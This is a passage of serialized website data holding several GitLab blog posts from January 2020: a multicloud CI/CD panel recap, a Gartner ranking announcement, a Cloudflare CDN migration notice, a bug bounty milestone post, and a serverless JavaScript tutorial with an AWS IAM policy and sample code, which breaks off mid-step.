Beta","en-us/blog/windows-shared-runner-beta.yml","en-us/blog/windows-shared-runner-beta",{"_path":25350,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25351,"content":25357,"config":25362,"_id":25364,"_type":16,"title":25365,"_source":17,"_file":25366,"_stem":25367,"_extension":20},"/en-us/blog/ci-cd-the-ticket-to-multicloud",{"title":25352,"description":25353,"ogTitle":25352,"ogDescription":25353,"noIndex":6,"ogImage":25354,"ogUrl":25355,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25355,"schema":25356},"CI/CD: The ticket to multicloud","Read our expert panel from MulticloudCon on how CI/CD and cloud-agnostic DevOps help organizations go multicloud and increase productivity.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679235/Blog/Hero%20Images/cloud-native-predictions-2019.jpg","https://about.gitlab.com/blog/ci-cd-the-ticket-to-multicloud","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"CI/CD: The ticket to multicloud\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2020-01-17\",\n      }",{"title":25352,"description":25353,"authors":25358,"heroImage":25354,"date":25359,"body":25360,"category":8943,"tags":25361},[18462],"2020-01-17","\n\nIn November 2019, we had the opportunity to co-host [MulticloudCon](https://multicloudcon.io/), a zero-day event with our partners at [Upbound](https://upbound.io/). The event featured experts in cloud, Kubernetes, database resources, CI/CD, security, and more, to learn how [multicloud is evolving](/topics/multicloud/) and empowering developers and operations experts across the industry.\n\nDevOps can play a major role in cloud usage. In this discussion from MulticloudCon, we assembled a panel of experts across the industry to talk about [CI/CD](/solutions/continuous-integration/) and DevOps in multiple clouds. As [multicloud](/topics/multicloud/) technology continues to evolve, tools can give organizations more control and flexibility on where their workloads live and where they deploy.\n\n![CI/CD MulticloudCon panelists](https://about.gitlab.com/images/blogimages/multicloudcon-panel.png){: .shadow.medium.center}\n\n## Panel highlights\n\n### Why multicloud is important:\n\n> “If we have a single point of failure on a cloud, it is really easy to have some downtime [or] an outage and be like, \"Well, it was my cloud provider's fault.\" But, to our customers, that doesn't matter. You as a company, we're down and that affects them.”\n– Ana Medina, Chaos Engineer at [Gremlin](https://www.gremlin.com/)\n\n> “There are a lot more applications now that are becoming event-driven and are relying on integrations with cloud providers. And if it's more than one, you can't just test on one provider and go well it works across the board. You need to be expanding your test coverage to cover multiple cloud providers.”\n– Denver Williams, DevOps/SRE Consultant at [Vulk Coop](http://vulk.coop/)\n\n\n### The challenges of multicloud:\n\n> “When you're running in multiple clouds, that also introduces problems… I'm talking more specifically about high availability and also fault tolerance and then disaster recovery. These are things people just think about, ‘Oh we need to connect, integrate.’ But at the end of the day, if you're serious about running these applications, you need to also think about those things. And introducing those complexities from the different cloud providers will definitely impact your operations.”\n– Angel Rivera, Developer Advocate at [CircleCI](https://circleci.com/)\n\n\n### How tools impact a multicloud strategy:\n\n> “One thing that helps a lot when you're working on deploys for multicloud is to choose tooling that is going to support multiple clouds off the bat… One thing you really want to avoid, if possible, is ending up with different workflows for different cloud providers. Because then you're testing with different CI/CD pipelines. It's different code and it's inevitably going to behave differently. And then you're going to run into weird bugs.” – Denver Williams\n\n> “When I'm talking to users and GitLab customers that are doing multicloud, they're doing a lot of orchestration and abstraction, and they're having to write an abstraction layer in order to homogenize a logic. A lot of folks have talked about Crossplane today. When I see these types of capabilities and Crossplane in that community emerging, that's pretty exciting because that's what I see a lot of folks writing all the time. That can just be pulled out into a tool and offloaded so that you can focus on the business logic.” – [William Chia](/company/team/#williamchia), Sr. Product Marketing Manager at GitLab\n\nLearn more about GitLab’s Crossplane integration in our [12.5 release](/releases/2019/11/22/gitlab-12-5-released/#crossplane-support-in-gitlab-managed-apps).\n\n\n### CI/CD and multicloud best practices:\n\n> “There's always going to be platform-specific code. Just keep that separate and then your actual YAML logic, keep it agnostic.” – Uma Mukkara, Co-founder and COO at [MayaData](https://mayadata.io/)\n\n> “At Gremlin we help companies avoid downtime. So, we're starting to work with integrations with CI/CD platforms so folks actually start having a stage that they run chaos engineering experiments... You can actually build a lot more testing around past outages that your company has had or maybe some of the large outages that we've seen around in the industry. Building testing around those scenarios, [we’re] making sure the caching layers are able to handle when one of your services goes down... If you're caching layer limits out, the other services that are dependent on it are able to still continue providing a good user experience.” – Ana Medina\n\n> “I always encourage people who are writing pipelines in our platform to do some checks against APIs that they use so that they can just fail their builds right away, instead of wasting money and effort and going to build that. It's going to eventually fail.” – Angel Rivera\n\nMulticloud is made possible through cloud native applications built from containers using services from different cloud providers, and allows for multiple services to be managed in one architecture. CI/CD plays a big role in workflow portability, ensuring workflows stay consistent (no matter where projects are deployed).\n\nWatch the full panel discussion below.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/Sx02_fyaGgc\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nPhoto by [Marc Wieland](https://unsplash.com/photos/zrj-TPjcRLA?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/clouds?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n\n",[110,3949,2509],{"slug":25363,"featured":6,"template":678},"ci-cd-the-ticket-to-multicloud","content:en-us:blog:ci-cd-the-ticket-to-multicloud.yml","Ci Cd The Ticket To Multicloud","en-us/blog/ci-cd-the-ticket-to-multicloud.yml","en-us/blog/ci-cd-the-ticket-to-multicloud",{"_path":25369,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25370,"content":25375,"config":25381,"_id":25383,"_type":16,"title":25384,"_source":17,"_file":25385,"_stem":25386,"_extension":20},"/en-us/blog/2019-gartner-aro-mq",{"title":25371,"description":25372,"ogTitle":25371,"ogDescription":25372,"noIndex":6,"ogImage":17064,"ogUrl":25373,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25373,"schema":25374},"Gartner names GitLab challenger in release orchestration","We're happy to share that GitLab is a Challenger in Gartner's 2019 ARO Magic Quadrant","https://about.gitlab.com/blog/2019-gartner-aro-mq","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab named Challenger in Gartner Magic Quadrant for Application Release Orchestration 2019\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"William Chia\"}],\n        \"datePublished\": \"2020-01-16\",\n      }",{"title":25376,"description":25372,"authors":25377,"heroImage":17064,"date":25378,"body":25379,"category":736,"tags":25380},"GitLab named Challenger in Gartner Magic Quadrant for Application Release Orchestration 2019",[16962],"2020-01-16","\n\nWe are pleased to share that recently GitLab was named a Challenger in the Gartner 2019 Magic Quadrant for Application Release Orchestration. ARO is a relatively new area for GitLab, but we believe our placement as a Challenger compared to last year’s placement as a Niche Player reflects the work we’ve put in and rapid progress we’ve made.\n\nYou can visit our [ARO MQ commentary page](/analysts/gartner-aro19/) to read our thoughts on the ARO markets and this report along with the lessons we learn participating. We’ll be adding links to this page to our roadmap items that show our plans for continued improvement. \n\nGartner, Magic Quadrant for Application Release Orchestration, 7 October 2019, Daniel Betts, Chris Saunderson, Hassan Ennaciri, Christopher Little Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner’s research organization and should not be construed as statements of fact. Gartner disclaims all warranties, express or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose. \n{: .note}\n\nImage by \u003Ca href=\"https://pixabay.com/users/pisauikan-4552082/?utm_source=link-attribution&amp;utm_medium=referral&amp;utm_campaign=image&amp;utm_content=2682641\">pisauikan\u003C/a> from \u003Ca href=\"https://pixabay.com/?utm_source=link-attribution&amp;utm_medium=referral&amp;utm_campaign=image&amp;utm_content=2682641\">Pixabay\u003C/a>\n{: .note}\n",[4103,676,736,110],{"slug":25382,"featured":6,"template":678},"2019-gartner-aro-mq","content:en-us:blog:2019-gartner-aro-mq.yml","2019 Gartner Aro Mq","en-us/blog/2019-gartner-aro-mq.yml","en-us/blog/2019-gartner-aro-mq",{"_path":25388,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25389,"content":25394,"config":25398,"_id":25400,"_type":16,"title":25401,"_source":17,"_file":25402,"_stem":25403,"_extension":20},"/en-us/blog/gitlab-changes-to-cloudflare",{"title":25390,"description":25391,"ogTitle":25390,"ogDescription":25391,"noIndex":6,"ogImage":12243,"ogUrl":25392,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25392,"schema":25393},"Why GitLab.com is changing its CDN provider to Cloudflare March 28","Get the scoop on our plan to change GitLab.com to Cloudflare.","https://about.gitlab.com/blog/gitlab-changes-to-cloudflare","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why GitLab.com is changing its CDN provider to Cloudflare March 28\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David Smith\"}],\n        \"datePublished\": \"2020-01-16\",\n      }",{"title":25390,"description":25391,"authors":25395,"heroImage":12243,"date":25378,"body":25396,"category":734,"tags":25397},[13061],"\n\n## Upcoming changes to our CDN for GitLab.com\n\nAs GitLab.com has grown, so have our needs around the security and scalability of the web application. We are in the process of changing our CDN provider to [Cloudflare](https://www.cloudflare.com/) as part of our improvements to GitLab.com. We are approaching this change with care, and this post is to let everyone know about the shift ahead of time.\n\n## Update on timing\n\nWe have picked the weekend of March 28, 2020 to do the switch to Cloudflare.  Recent incident work for issues on GitLab.com has made us decide to push back from March 21 which was our date published last week.\n\n### Why are we working on this?\n\nWe are currently using [Fastly](https://www.fastly.com) for serving static content, but we want to improve GitLab.com availability, security, and performance with other tools like a Web Application Firewall (WAF), [Spectrum](https://www.cloudflare.com/products/cloudflare-spectrum/), and [Argo](https://www.cloudflare.com/products/argo-smart-routing/). We also want to preserve the current workflow: Interacting with GitLab.com for both `git` and web application interactions. Since GitLab.com serves more than just https traffic, the change is a little more complicated. The traffic pattern requires we use a solution that could handle traffic for port 22 and port 443. As a result of the complexity and requirements, we realized we would like to have a solution for CDN, WAF, and DDOS protection with one vendor.\n\nDuring the summer of 2019, we did evaluations and chose Cloudflare as the vendor who could best meet our requirements. Now that we are closer to switching over, we have created a [readiness review](https://gitlab.com/gitlab-com/gl-infra/readiness/tree/master/cloudflare) to talk about our plans for the change over.\n\n### What you need to know\n\nFirst, this change will not affect self-managed users of GitLab, this is only for users of GitLab.com. At a very high level, most users of GitLab.com will not need to take any action.\n\nGitLab.com users with a whitelist of sites in their firewall setup will need to change what is whitelisted for GitLab.com. For the initial change, we will be switching DNS to Cloudflare. This will cause all GitLab.com traffic to be proxied through Cloudflare. This change will be visible by changes in DNS records queried for GitLab.com.\nA whitelist of IPs can be found [here](https://www.cloudflare.com/ips/).\nWe wanted to make sure this is communicated ahead of time, as this is an important detail, which may be in use by some firewalling setups.\n\nSSH-based `git` actions via `altssh.gitlab.com` on port 443 continue to be supported. As with GitLab.com, any firewalls you set up might need to be reconfigured to the new IP ranges.\n\nCustom runner images or private runners could also be affected if they have any kind of caching of DNS or SSL certificates.\n\n### How can I stay up to date on when the change will happen?\n\nWe will update this blog post, [GitLab status](https://status.gitlab.com), and [@gitlabstatus on twitter](https://www.twitter.com/gitlabstatus) with the planned date of this initial change – likely sometime in early February 2020. When it is time for the change on GitLab.com, we will also update [GitLab.com ranges](https://docs.gitlab.com/ee/user/gitlab_com/#ip-range) with the range from [Cloudflare](https://www.cloudflare.com/ips/).\n\nOnce we know traffic is flowing through Cloudflare successfully, we will start exploring more features like the WAF in logging-only mode.  We will also test [Argo](https://www.cloudflare.com/products/argo-smart-routing/) and we hope again that traffic to GitLab.com is faster.\n\nFeel free to ask our support team your questions, and they will be able to talk to our infrastructure team for the details. Thanks for your continued support and check here for more updates soon!\n\n### Links to our plans and other information\n\n1. [GitLab status: Subscribe by email, twitter, webhook, slack](https://status.gitlab.com)\n2. [More discussion about this blog post](https://gitlab.com/gitlab-com/www-gitlab-com/issues/5907)\n3. [Production readiness review MR](https://gitlab.com/gitlab-com/gl-infra/readiness/tree/master/cloudflare)\n4. [Top-level epic](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/94)\n5. [Cloudflare privacy policy](https://www.cloudflare.com/privacypolicy/)\n6. [Cloudflare IP ranges](https://www.cloudflare.com/ips/)\n7. [Cloudflare Prometheus Exporter](https://gitlab.com/gitlab-org/cloudflare_exporter)\n\n\n### Definitions\n- Web Application Firewall (WAF): A type of firewall that helps protect web applications from a specific set of attacks\n- Argo: Cloudflare product that helps route web traffic across the fastest and most reliable network paths\n- Spectrum: A Cloudflare product that helps secure the types of ports that GitLab.com uses for SSH access\n\nCover image by [Sam Schooler](https://unsplash.com/photos/E9aetBe2w40) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[1268,6962,674],{"slug":25399,"featured":6,"template":678},"gitlab-changes-to-cloudflare","content:en-us:blog:gitlab-changes-to-cloudflare.yml","Gitlab Changes To Cloudflare","en-us/blog/gitlab-changes-to-cloudflare.yml","en-us/blog/gitlab-changes-to-cloudflare",{"_path":25405,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25406,"content":25412,"config":25417,"_id":25419,"_type":16,"title":25420,"_source":17,"_file":25421,"_stem":25422,"_extension":20},"/en-us/blog/celebrating-one-million-bug-bounties-paid",{"title":25407,"description":25408,"ogTitle":25407,"ogDescription":25408,"noIndex":6,"ogImage":25409,"ogUrl":25410,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25410,"schema":25411},"Celebrating a million dollars in bounties paid","Our bug bounty program has grown, expanded and matured in the past 5 years. A lot can happen in a million dollars’ time.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680992/Blog/Hero%20Images/silhouette-of-crowd-people-1486628.jpg","https://about.gitlab.com/blog/celebrating-one-million-bug-bounties-paid","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Celebrating a million dollars in bounties paid\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2020-01-14\",\n      }",{"title":25407,"description":25408,"authors":25413,"heroImage":25409,"date":25414,"body":25415,"category":674,"tags":25416},[12307],"2020-01-14","\n\nWhat started as a small, public vulnerability disclosure program awarding swag on qualified reports has grown into a thriving public bug bounty program that’s just paid out its millionth dollar in bounties and has seen contributions from hundreds of security researchers.   \n\nBut it's about much more than a million dollars in bounty payments. Our journey to this point has been an iterative one, gaining strength and improving along the way as we grow, learn and receive feedback from the security research community. We believe our journey models our commitment to building a strong and secure product for our customers but also our dedication to the open source and security community; one where everyone can contribute and also reap the rewards.  \n\n### Swags to riches  \n\nKnowing we needed to walk before we could run, the swag-awarding public vulnerability disclosure program we’d opened in 2014 quickly moved to a private, paid bounty program including a small pool of researchers, many of whom gained access through the previous vulnerability disclosure program. As we grew our security and appsec team and seasoned our processes around how we prioritize reports and how we collaborate internally to define and implement fixes, we quickly understood we’d want an open, public program where an entire community of security researchers could contribute. With the help of HackerOne, we built and [launched our public bug bounty program in December 2018](/blog/gitlab-hackerone-bug-bounty-program-is-public-today/). We’re excited to have just celebrated our one year anniversary as a public program in December 2019.  \n\n### So, what does a million dollars in bug bounties look like?  \n\n• Our appsec team has worked with 768 different researchers since our PVD launched in 2014, including several of HackerOne’s all-time leading reporters. \n\n• We’ve resolved 479 reports and made 400 of those reports public.  \n\n• 227 security researchers submitted multiple reports, meaning their first engagement with us was a positive one.    \n  \n[Transparency is key to security](/handbook/security/#security-vision) at GitLab. Transparency is also one of our core values and it's very important to our bug bounty program. You can see from our [disclosure policy](https://hackerone.com/gitlab) that resolved reports are made public via issues on GitLab.com 30 days after releasing a fix. There are certain reports, however, that we cannot disclose due to sensitive information, either at the request of the reporter or to protect a customer.    \n\nBeing transparent about our security issues allows customers to see the importance we place on securing our product. There are security issues in every tool and application out there – that’s a given. By disclosing full vulnerability information after 30 days, we give customers the time and information to understand the vulnerabilities that have been found and fixed, and to determine any potential impact in their environment. Being transparent about our environment helps us to grow and strengthen the trust customers place in us. Also publicly disclosing valid bugs reduces the threshold to contribute and helps security reporters build upon previous findings, which ultimately makes our product and customers more secure.  \n\n[Iteration](https://handbook.gitlab.com/handbook/values/#iteration) is one of GitLab’s core values. And our bug bounty program is no different. In the time since launching our public program at the end of 2018, we’ve taken feedback from our security research community and [reduced the time to bounty payout](/blog/reducing-time-to-payout-and-launching-a-bug-bounty-anniversary-contest/), moving part of the payout to the moment a report is triaged (on average, 5 days after the report is submitted), with the remainder of the payment happening once the report is resolved. Another improvement that’s been especially popular has been our decision to increase bounties for [critical and high severity reports](/blog/were-increasing-bounties-in-our-bug-bounty-program/). But, we know it's not all about bounties and payouts. Other less exciting, but key, foundational components of our program like [triage, response and overall communications](/blog/what-we-learned-by-taking-our-bug-bounty-program-public/) stay top of mind to ensure we’re keeping hackers engaged.   \n\n### And, what does the next million dollars in bounties paid hold? \n\nWe were proud to see the results of our most recent [bug bounty contest](/blog/bugs-bounties-and-cherry-browns/) (held October 1-November 30, 2019) include 279 reports from 123 different individuals (89 of them coming from new reporters!). We aim to keep reporters incentivized, motivated, and engaged to find bugs on our platform. Our public bug bounty program is as important to the security of our product and company as any other program we run within our Security Team here at GitLab, so we will continue to look at how we can strengthen and improve our processes and program, but also invite the feedback of our security research community for changes and updates they’d like to see.  \n\nThank you to the security research community for your expertise, your innovative findings and techniques, and for making our product stronger and more secure!  \n\nHappy Hacking!   \n\n\nPhoto by [Joey Theswampboi](https://www.pexels.com/@joey-theswampboi-442839) on [Pexels](https://pexels.com/)\n{: .note}\n",[674,1938,815],{"slug":25418,"featured":6,"template":678},"celebrating-one-million-bug-bounties-paid","content:en-us:blog:celebrating-one-million-bug-bounties-paid.yml","Celebrating One Million Bug Bounties Paid","en-us/blog/celebrating-one-million-bug-bounties-paid.yml","en-us/blog/celebrating-one-million-bug-bounties-paid",{"_path":25424,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25425,"content":25430,"config":25435,"_id":25437,"_type":16,"title":25438,"_source":17,"_file":25439,"_stem":25440,"_extension":20},"/en-us/blog/serverless-js-project-template",{"title":25426,"description":25427,"ogTitle":25426,"ogDescription":25427,"noIndex":6,"ogImage":20630,"ogUrl":25428,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25428,"schema":25429},"Starting a serverless JS project with GitLab","Introduction to the new serverless JS project template at GitLab","https://about.gitlab.com/blog/serverless-js-project-template","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Starting a serverless JS project with GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mike Greiling\"}],\n        \"datePublished\": \"2020-01-14\",\n      }",{"title":25426,"description":25427,"authors":25431,"heroImage":20630,"date":25414,"body":25433,"category":18484,"tags":25434},[25432],"Mike Greiling","\n\n{::options parse_block_html=\"true\" /}\n\n\n\n\u003C!-- Content start here -->\n\nIf you've been working in web development these past few years than you've no doubt heard about [serverless](/topics/serverless/) FaaS solutions like AWS Lambda or Knative. The idea boils down to writing code as a set of discrete functions that can be triggered by events. All worries about provisioning server nodes, scaling them, managing your back-end stack, and many other operational tasks are abstracted away. Moreover, it often results in massive cost savings as compute resources are provisioned on-demand. As this paradigm is growing in maturity and popularity, many tools have been created to make the process even easier and there has never been a better time to try it out for yourself.\n\nTo demonstrate how easy it is to get started with FaaS in GitLab, we've now added a project template to get you up and running even faster. If you're interested in wading into the serverless waters without running a single command in your terminal, follow along and try it yourself! All that is needed for this example is a free GitLab account and an AWS account.\n\n### 1. Creating a project\n\nTo start off, let's create a project with our new serverless template. Open up the [new project](https://gitlab.com/projects/new) page and select the \"Create from template\" tab. Then scroll down and select the \"Serverless Framework/JS\" template.\n\n![Step 1](https://about.gitlab.com/images/blogimages/serverless-js-project-template/step-1.1.jpg){: .shadow.medium.center}\n\nGive your project a name and select \"Create project\"\n\n### 2. Configuring your AWS credentials\n\nNow that we have our GitLab project complete with a boilerplate serverless application, it's time to give it access credentials to AWS so we can deploy it.\n\nOpen up the AWS console, sign in, and navigate to the [IAM section](https://console.aws.amazon.com/iam/home). Here you can select \"Users\" in the left-hand column, and create a new user using the \"Add user\" button at the top of the list.\n\n![Step 2-1](https://about.gitlab.com/images/blogimages/serverless-js-project-template/step-2.1.jpg){: .shadow.medium.center}\n\nGive your user a name like \"gitlab-serverless\" and make sure to select the \"Programatic access\" checkbox before clicking on \"Next\".\n\n![Step 2-2](https://about.gitlab.com/images/blogimages/serverless-js-project-template/step-2.2.jpg){: .shadow.medium.center}\n\nNow we need to give this user the appropriate permissions to deploy serverless functions. On the \"Permissions\" page select \"Attach existing policies directly\" and then click the \"Create policy\" button. This will open a new window.\n\n![Step 2-3](https://about.gitlab.com/images/blogimages/serverless-js-project-template/step-2.3.jpg){: .shadow.medium.center}\n\nHere you'll need to select the \"JSON\" tab and paste the following policy statement:\n\n```json\n{\n  \"Statement\": [\n    {\n      \"Action\": [\n        \"apigateway:*\",\n        \"cloudformation:CancelUpdateStack\",\n        \"cloudformation:ContinueUpdateRollback\",\n        \"cloudformation:CreateChangeSet\",\n        \"cloudformation:CreateStack\",\n        \"cloudformation:CreateUploadBucket\",\n        \"cloudformation:DeleteStack\",\n        \"cloudformation:Describe*\",\n        \"cloudformation:EstimateTemplateCost\",\n        \"cloudformation:ExecuteChangeSet\",\n        \"cloudformation:Get*\",\n        \"cloudformation:List*\",\n        \"cloudformation:PreviewStackUpdate\",\n        \"cloudformation:UpdateStack\",\n        \"cloudformation:UpdateTerminationProtection\",\n        \"cloudformation:ValidateTemplate\",\n        \"dynamodb:CreateTable\",\n        \"dynamodb:DeleteTable\",\n        \"dynamodb:DescribeTable\",\n        \"ec2:AttachInternetGateway\",\n        \"ec2:AuthorizeSecurityGroupIngress\",\n        \"ec2:CreateInternetGateway\",\n        \"ec2:CreateNetworkAcl\",\n        \"ec2:CreateNetworkAclEntry\",\n        \"ec2:CreateRouteTable\",\n        \"ec2:CreateSecurityGroup\",\n        \"ec2:CreateSubnet\",\n        \"ec2:CreateTags\",\n        \"ec2:CreateVpc\",\n        \"ec2:DeleteInternetGateway\",\n        \"ec2:DeleteNetworkAcl\",\n        \"ec2:DeleteNetworkAclEntry\",\n        \"ec2:DeleteRouteTable\",\n        \"ec2:DeleteSecurityGroup\",\n        \"ec2:DeleteSubnet\",\n        \"ec2:DeleteVpc\",\n        \"ec2:Describe*\",\n        \"ec2:DetachInternetGateway\",\n        \"ec2:ModifyVpcAttribute\",\n        \"events:DeleteRule\",\n        \"events:DescribeRule\",\n        \"events:ListRuleNamesByTarget\",\n        \"events:ListRules\",\n        \"events:ListTargetsByRule\",\n        \"events:PutRule\",\n        \"events:PutTargets\",\n        \"events:RemoveTargets\",\n        \"iam:CreateRole\",\n        \"iam:DeleteRole\",\n        \"iam:DeleteRolePolicy\",\n        \"iam:GetRole\",\n        \"iam:PassRole\",\n        \"iam:PutRolePolicy\",\n        \"iot:CreateTopicRule\",\n        \"iot:DeleteTopicRule\",\n        \"iot:DisableTopicRule\",\n        \"iot:EnableTopicRule\",\n        \"iot:ReplaceTopicRule\",\n        \"kinesis:CreateStream\",\n        \"kinesis:DeleteStream\",\n        \"kinesis:DescribeStream\",\n        \"lambda:*\",\n        \"logs:CreateLogGroup\",\n        \"logs:DeleteLogGroup\",\n        \"logs:DescribeLogGroups\",\n        \"logs:DescribeLogStreams\",\n        \"logs:FilterLogEvents\",\n        \"logs:GetLogEvents\",\n        \"s3:CreateBucket\",\n        \"s3:DeleteBucket\",\n        \"s3:DeleteBucketPolicy\",\n        \"s3:DeleteObject\",\n        \"s3:DeleteObjectVersion\",\n        \"s3:GetObject\",\n        \"s3:GetObjectVersion\",\n        \"s3:ListAllMyBuckets\",\n        \"s3:ListBucket\",\n        \"s3:PutBucketNotification\",\n        \"s3:PutBucketPolicy\",\n        \"s3:PutBucketTagging\",\n        \"s3:PutBucketWebsite\",\n        \"s3:PutEncryptionConfiguration\",\n        \"s3:PutObject\",\n        \"sns:CreateTopic\",\n        \"sns:DeleteTopic\",\n        \"sns:GetSubscriptionAttributes\",\n        \"sns:GetTopicAttributes\",\n        \"sns:ListSubscriptions\",\n        \"sns:ListSubscriptionsByTopic\",\n        \"sns:ListTopics\",\n        \"sns:SetSubscriptionAttributes\",\n        \"sns:SetTopicAttributes\",\n        \"sns:Subscribe\",\n        \"sns:Unsubscribe\",\n        \"states:CreateStateMachine\",\n        \"states:DeleteStateMachine\"\n      ],\n      \"Effect\": \"Allow\",\n      \"Resource\": \"*\"\n    }\n  ],\n  \"Version\": \"2012-10-17\"\n}\n```\n\n> Note: This policy is an example that encompasses pretty much everything the Serverless framework _might_ need on AWS, but much of it not likely to be used. You may wish to restrict this policy to fit your needs and security requirements. At minimum, the serverless credentials will need access to the `cloudformation`, `iam`, `lambda`, `logs`, and `s3` functions specified above.\n\n![Step 2-4](https://about.gitlab.com/images/blogimages/serverless-js-project-template/step-2.4.jpg){: .shadow.medium.center}\n\nClick \"Review Policy\" and you'll need to give this policy a name. I've used \"GitLabServerlessPolicy\". Then click \"Create policy\".\n\nAfter this is done, return to your \"Add user\" tab and search for the policy you just created (you may need to hit the \"refresh\" icon on the right). Check the box next to this policy and select the \"Next\" button.\n\n![Step 2-5](https://about.gitlab.com/images/blogimages/serverless-js-project-template/step-2.5.jpg){: .shadow.medium.center}\n\nProceed to add tags or skip straight to the review. The final page should resemble the following:\n\n![Step 2-6](https://about.gitlab.com/images/blogimages/serverless-js-project-template/step-2.6.jpg){: .shadow.medium.center}\n\nAfter clicking \"Create user\" you should finally be presented with a page that shows you your access credentials for this new AWS user account. Select \"show\" next to the \"secret access key\" and copy both this and the access key ID someplace for safe keeping.\n\n### 3. Entering your AWS credentials\n\nReturning back to GitLab, we'll need to enter these two credentials into our project's [CI/CD settings](/topics/ci-cd/). Select \"Settings -> CI/CD\" in the left-hand menu.\n\n![Step 3-1](https://about.gitlab.com/images/blogimages/serverless-js-project-template/step-3.1.jpg){: .shadow.small.center}\n\nOn this page, we need to expand the Variables section and enter our AWS credentials:\n\n![Step 3-2](https://about.gitlab.com/images/blogimages/serverless-js-project-template/step-3.2.jpg){: .shadow.medium.center}\n\nUse `AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY` as the keys for the two values you copied from AWS in the previous step. Don't forget to click \"Save variables\".\n\n### 4. Deploying your first AWS Lambda function.\n\nNow it's time to deploy your serverless project. If you're doing this on gitlab.com you've already got access to a GitLab runner with 2,000 free CI pipeline minutes, if not you'll need to [configure a runner yourself](https://docs.gitlab.com/runner/#install-gitlab-runner).\n\nGo to \"CI/CD -> Pipelines\" in the left-hand menu and click the \"Run Pipeline\" button. For fun, let's enter an environment variable with the key `A_VARIABLE` and give it whatever value you want. This will be usable by our deployed function.\n\n![Step 4-1](https://about.gitlab.com/images/blogimages/serverless-js-project-template/step-4.1.jpg){: .shadow.medium.center}\n\nSelect \"Run Pipeline\" and you should see your jobs start running. This project template has tests which will automatically run every time you run a pipeline. Once those are complete, the \"production\" job will deploy your code to AWS Lambda and finally it will produce a landing page on [GitLab Pages](https://docs.gitlab.com/ee/user/project/pages/). After just a few minutes this process should complete and you can visit \"Settings -> Pages\" to see a link to the URL where your GitLab project has been deployed. (It may take a few minutes before this URL is accessible the first time you make a deployment).\n\n![Step 4-2](https://about.gitlab.com/images/blogimages/serverless-js-project-template/step-4.2.jpg){: .shadow.medium.center}\n\nWhen you visit this page, here's what you'll see:\n\n![Step 4 Result](https://about.gitlab.com/images/blogimages/serverless-js-project-template/step-4.3.gif){: .shadow.medium.center}\n\nYou can enter an input value and click \"run function\". This input is sent to your serverless function which then responds and the response is printed under \"Function Output:\". Note that the environment value we provided using the `A_VARIABLE` key is present as well.\n\n### 5. Making Changes\n\nNow that we have a working AWS serverless project, let's try to make our own function. How about a simple calculator?\n\nOpen up the Web IDE and let's make the following changes:\n\nWithin `src/handler.js` add the following function:\n\n```javascript\nmodule.exports.add = async function(event) {\n  const A = Number(event.queryStringParameters.A);\n  const B = Number(event.queryStringParameters.B);\n  const result = A + B;\n\n  return {\n    statusCode: 200,\n    headers: {\n      \"Access-Control-Allow-Origin\": \"*\"\n    },\n    body: result\n  };\n};\n```\n\nThen open `public/index.html` and replace it with:\n\n```html\n\u003C!DOCTYPE html>\n\u003Chtml>\n  \u003Chead>\n    \u003Ctitle>GitLab Serverless Framework example\u003C/title>\n  \u003C/head>\n  \u003Cbody>\n    \u003Ch3>Add two values:\u003C/h3>\n    \u003Clabel>A: \u003Cinput type=\"text\" id=\"inputA\" placeholder=\"0\" name=\"A\"/>\u003C/label>\n    \u003Clabel>B: \u003Cinput type=\"text\" id=\"inputB\" placeholder=\"0\" name=\"B\"/>\u003C/label>\n    \u003Cstrong>=\u003C/strong>\n    \u003Cspan id=\"functionOutput\">?\u003C/span>\n    \u003Cbr />\n    \u003Cbutton>Calculate!\u003C/button>\n\n    \u003Cscript>\n      fetch(\"./stack.json\").then(response => {\n        response.json().then(myJson => {\n          const functionUrl = myJson.ServiceEndpoint + \"/add\";\n          const inputA = document.querySelector(\"#inputA\");\n          const inputB = document.querySelector(\"#inputB\");\n          const output = document.querySelector(\"#functionOutput\");\n\n          document.querySelector(\"button\").addEventListener(\"click\", () => {\n            const A = Number(inputA.value);\n            const B = Number(inputB.value);\n\n            fetch(functionUrl + \"?A=\" + A + \"&B=\" + B)\n              .then(response => response.text())\n              .then(result => (output.textContent = result));\n          });\n        });\n      });\n    \u003C/script>\n  \u003C/body>\n\u003C/html>\n```\n\nLastly, open `serverless.yml` and add an \"add\" function entry below our 